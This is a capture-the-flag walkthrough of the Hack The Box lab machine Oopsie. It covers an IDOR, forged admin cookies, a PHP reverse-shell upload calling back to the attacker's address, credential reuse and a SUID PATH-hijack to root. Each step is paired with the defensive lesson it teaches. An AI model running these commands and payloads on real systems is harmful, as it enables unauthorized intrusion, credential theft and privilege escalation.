Skip to content

Hack The Box Starting Point: Oopsie

This document records how I compromised the HTB Starting Point machine Oopsie, why each step worked, and what security control should have prevented it.

The complete attack chain was:

Web enumeration
-> hidden login page
-> guest authentication
-> IDOR information disclosure
-> client-controlled authorization cookies
-> unrestricted PHP upload
-> reverse shell as www-data
-> credentials exposed in web configuration
-> SSH access as robert
-> SUID PATH hijacking
-> root shell

Only perform these techniques against systems you own or are explicitly authorized to test, such as the assigned HTB target.

This is a full walkthrough and contains challenge spoilers, including identifiers and commands.

I started with the IP address supplied by HTB:

Terminal window
nmap -sC -sV TARGET_IP

The options mean:

  • -sC: run Nmap’s default scripts.
  • -sV: probe open ports to identify service versions.

The scan found HTTP and SSH open. I checked the HTTP service in a browser and confirmed that a website was running.

Next I enumerated the web server with Gobuster:

Terminal window
gobuster dir \
-u http://TARGET_IP \
-w /usr/share/wordlists/dirb/common.txt \
-x php,html,txt \
-t 20

The options mean:

  • dir: use directory and file discovery mode.
  • -u: specify the target URL.
  • -w: select the wordlist.
  • -x php,html,txt: test entries with these filename extensions.
  • -t 20: use 20 concurrent workers.

Gobuster found common public directories such as /css, /images, /js, and /uploads. Requesting /uploads/ produced 403 Forbidden because Apache disabled directory listing.

GET /uploads/ -> 403: directory listing is forbidden
GET /uploads/file.txt -> may still return 200 if the filename is known

I inspected the website’s source and browser developer tools. That is where I found /cdn-cgi/login/script.js.

/cdn-cgi/login/script.js

The script itself was not useful, but its parent directory was. Walking upward manually led to:

/cdn-cgi/login/

A little old-fashioned source review goes a long way toward providing the context needed to keep moving.

I logged in through the available “Login as Guest” button and inspected the authenticated session. The browser stored two important cookies:

role=guest
user=2233

Burp Repeater was useful for resending an exact authenticated request while changing one value at a time. The workflow was:

  1. Open Proxy -> HTTP history.
  2. Select the request for the restricted page.
  3. Choose Send to Repeater.
  4. Send it unchanged to establish a baseline.
  5. Modify a parameter or cookie and compare the response.

Changing only role=guest to an administrative value did not work because the application associated the role with a separate user access identifier.

There was a “My Account” page for the authenticated guest user. The guest account page used a client-controlled numeric identifier:

/cdn-cgi/login/admin.php?content=accounts&id=2

Changing id=2 to id=1 displayed another user’s account record without verifying that the guest was authorized to view it. This was an Insecure Direct Object Reference (IDOR).

The privileged record exposed an administrative Access ID:

34322

The URL record ID and Access ID served different purposes:

  • id=1: selected which database record the page displayed.
  • user=34322: identified the authenticated user in a cookie.
  • role=admin: claimed the user’s authorization role.

Setting the cookies consistently granted access to the restricted upload page:

role=admin; user=34322

The application trusted authorization claims supplied directly by the browser. Cookies are client-controlled input. They can carry identity or role information safely only when their integrity is protected and the server validates them against authoritative session or account state.

The administrative portal accepted multipart file uploads without preventing executable PHP content. A representative request contained:

POST /cdn-cgi/login/admin.php?content=uploads&action=upload HTTP/1.1
Content-Type: multipart/form-data; boundary=...
Cookie: role=admin; user=34322
Content-Disposition: form-data; name="name"
test
Content-Disposition: form-data; name="fileToUpload"; filename="test.txt"
Content-Type: text/plain
test some stuff

The separate name field needed a value. A confirmation page by itself was not sufficient proof, so I requested the known filename directly:

Terminal window
curl -i http://TARGET_IP/uploads/test.txt

The server returned 200 OK and the uploaded contents. This proved that:

  1. The upload handler stored the file.
  2. It retained a predictable filename.
  3. The /uploads directory was reachable through Apache.

Based on where the uploaded file became reachable, the likely filesystem-to-URL mapping was:

/var/www/html/uploads/oopsie.php
-> http://TARGET_IP/uploads/oopsie.php

On this target, Apache passed requests for .php files to its PHP handler, which executed the code and returned the resulting output:

GET /uploads/oopsie.php
-> Apache recognizes .php
-> Apache passes the file to PHP
-> PHP executes the code
-> the HTTP response contains the program output

This becomes remote code execution when an attacker can upload arbitrary PHP into a PHP-enabled web directory.

A secure design would store uploads outside the web root, generate unpredictable names, validate and re-encode images, and disable script execution in the upload directory.

Kali commonly provides a PHP reverse-shell template at:

/usr/share/webshells/php/php-reverse-shell.php

I copied it to an editable file:

Terminal window
cp /usr/share/webshells/php/php-reverse-shell.php /tmp/oopsie.php

I then found Kali’s HTB VPN address:

Terminal window
ip -br addr show tun0

Inside oopsie.php, I configured:

  • $ip as Kali’s tun0 address, not the target address.
  • $port as 6969.

I started the listener before triggering the payload:

Terminal window
nc -lvnp 6969

After uploading oopsie.php, I requested it at the web-root upload path:

Terminal window
curl http://TARGET_IP/uploads/oopsie.php

This caused the target server to connect back to the waiting Netcat listener and provided a shell as Apache’s low-privilege user:

www-data

If the shell needed a pseudo-terminal, it could be improved with:

Terminal window
python3 -c 'import pty; pty.spawn("/bin/bash")'

The PHP reverse shell acted as a bridge, relaying bytes between the TCP socket and the child shell. Spawning a PTY improved the target-side shell, but the Netcat connection was still a raw byte stream without end-to-end terminal behavior. Job control, resizing, command history, and other terminal features therefore remained limited.

From the www-data shell, I searched the web application’s PHP files for hard-coded credentials. I found database credentials and tested whether the password had been reused:

Terminal window
cd /var/www/html
find . -type f -name '*.php' 2>/dev/null
Terminal window
grep -RniE 'password|passwd|mysqli|mysql|PDO|username' . 2>/dev/null

Relevant options were:

  • find .: search from the current directory.
  • -type f: return regular files only.
  • -name '*.php': match PHP filenames.
  • grep -R: search recursively.
  • -n: show matching line numbers.
  • -i: ignore capitalization.
  • -E: enable extended regular expressions so | means “or.”
  • 2>/dev/null: discard error messages written to standard error.

A PHP database-connection file contained a password reused by the local user robert.

I used the recovered password to obtain a stable SSH session:

Terminal window
ssh robert@TARGET_IP

This pivot mattered because www-data could not execute the next privileged binary, while Robert belonged to the required group.

I searched for files associated with the bugtracker group as prompted in the HTB interface:

Terminal window
find / -group bugtracker 2>/dev/null

This identified:

/usr/bin/bugtracker

Its permissions showed that it was owned by root and had the SUID bit set:

Terminal window
ls -l /usr/bin/bugtracker

The important permission pattern was:

-rwsr-xr-- 1 root bugtracker ... /usr/bin/bugtracker
^ ^ ^
SUID owner group

SUID makes a program run with the file owner’s effective user ID. Because the owner was root, bugtracker ran with effective UID 0, regardless of which permitted user launched it.

Robert could execute it because he belonged to the bugtracker group:

Terminal window
id

General SUID enumeration can be performed with:

Terminal window
find / -type f -perm -4000 2>/dev/null

I inspected readable strings embedded in the binary:

Terminal window
strings /usr/bin/bugtracker

The important output included:

system
cat /root/reports/

This suggested that bugtracker constructed a shell command similar to:

system("cat /root/reports/1");

The external executable was called as cat, not with an absolute path such as /bin/cat. The shell therefore searched the directories listed in $PATH.

Using system() inside a SUID program is particularly dangerous because it invokes a shell while privileged and may inherit attacker-controlled environment variables.

I created a malicious executable named cat in the writable /tmp directory:

Terminal window
cd /tmp
printf '#!/bin/sh\n/bin/bash -p\n' > cat
chmod +x cat

The script ignored the report filename passed to it and instead launched Bash. The -p option instructed Bash to preserve its privileged effective identity.

I saved Robert’s original PATH, then placed /tmp first in the command-search path:

Terminal window
original_path=$PATH
export PATH=/tmp:$PATH

I verified the search result:

Terminal window
command -v cat

The expected result was:

/tmp/cat

Finally, I ran the SUID program:

Terminal window
/usr/bin/bugtracker

After entering a Bug ID such as 1, the execution chain became:

Robert executes /usr/bin/bugtracker
-> SUID gives bugtracker effective UID 0
-> bugtracker calls system("cat /root/reports/1")
-> the shell searches $PATH
-> /tmp/cat is found before /bin/cat
-> /tmp/cat starts /bin/bash -p
-> Bash preserves UID 0
-> root shell

I confirmed success with:

Terminal window
id

The decisive output was:

uid=0(root)

Because plain cat now resolved to the malicious script, I used the absolute system path to read the root flag:

Terminal window
/bin/cat /root/root.txt

After recording the lab flag, I removed the target-side files, left the root shell, and restored Robert’s original PATH:

Terminal window
/bin/rm /tmp/cat
/bin/rm /var/www/html/uploads/oopsie.php
/bin/rm /var/www/html/uploads/test.txt
exit
export PATH="$original_path"
unset original_path
hash -r

I also removed the editable /tmp/oopsie.php copy from Kali after disconnecting. The HTB instance is disposable, but cleaning up is good operational discipline.

Directory listing and file access are different

Section titled “Directory listing and file access are different”

A 403 response for /uploads/ did not prevent access to a known file such as /uploads/test.txt.

Browser-controlled identity data cannot be trusted

Section titled “Browser-controlled identity data cannot be trusted”

The server accepted editable role and user cookies instead of enforcing authorization through protected server-side session state.

IDOR can expose information needed for another vulnerability

Section titled “IDOR can expose information needed for another vulnerability”

The account-page IDOR did not immediately produce code execution. It leaked the Access ID needed to make the cookie manipulation internally consistent.

A success message alone did not prove a file was stored or reachable. Requesting the exact uploaded filename established the actual behavior.

Accepting .php files was dangerous because Apache treated files under /uploads as executable PHP.

A hard-coded database credential provided a path from the low-privilege service account to the local user robert because the password had been reused.

SUID programs require extremely defensive coding

Section titled “SUID programs require extremely defensive coding”

A root-owned SUID binary inherited an attacker-controlled $PATH and invoked cat through system() without an absolute path. That allowed Robert to select which executable root launched.

  • Enforce authorization server-side for every object request.
  • Store identity and roles in protected server-side sessions.
  • Never rely on unsigned, editable cookies for authorization.
  • Store uploads outside the document root.
  • Disable script execution wherever uploads are served.
  • Validate file contents, not only extensions or MIME headers.
  • Generate server-side filenames rather than trusting client filenames.
  • Remove hard-coded credentials from application source.
  • Never reuse application passwords for operating-system accounts.
  • Avoid SUID whenever possible.
  • Never call system() from a privileged program with attacker-influenced input or environment state.
  • Use absolute executable paths and a fixed, sanitized environment.

I was not a huge fan of this CTF. The vulnerabilities felt strung together in a way that seemed unlikely outside a deliberately staged lab. I understand that the point was to learn each technique, but the trail often felt dictated by HTB’s required questions instead of natural enumeration.

The bugtracker step felt especially forced. Maybe that says something about my skill level at the time, but I needed to consult the walkthrough to understand what the question was asking. Some questions were also written awkwardly, which made the intended direction harder to understand. I appreciate the work that went into the machine, but it was not one of my favorites.

This article was made with the help of AI. =]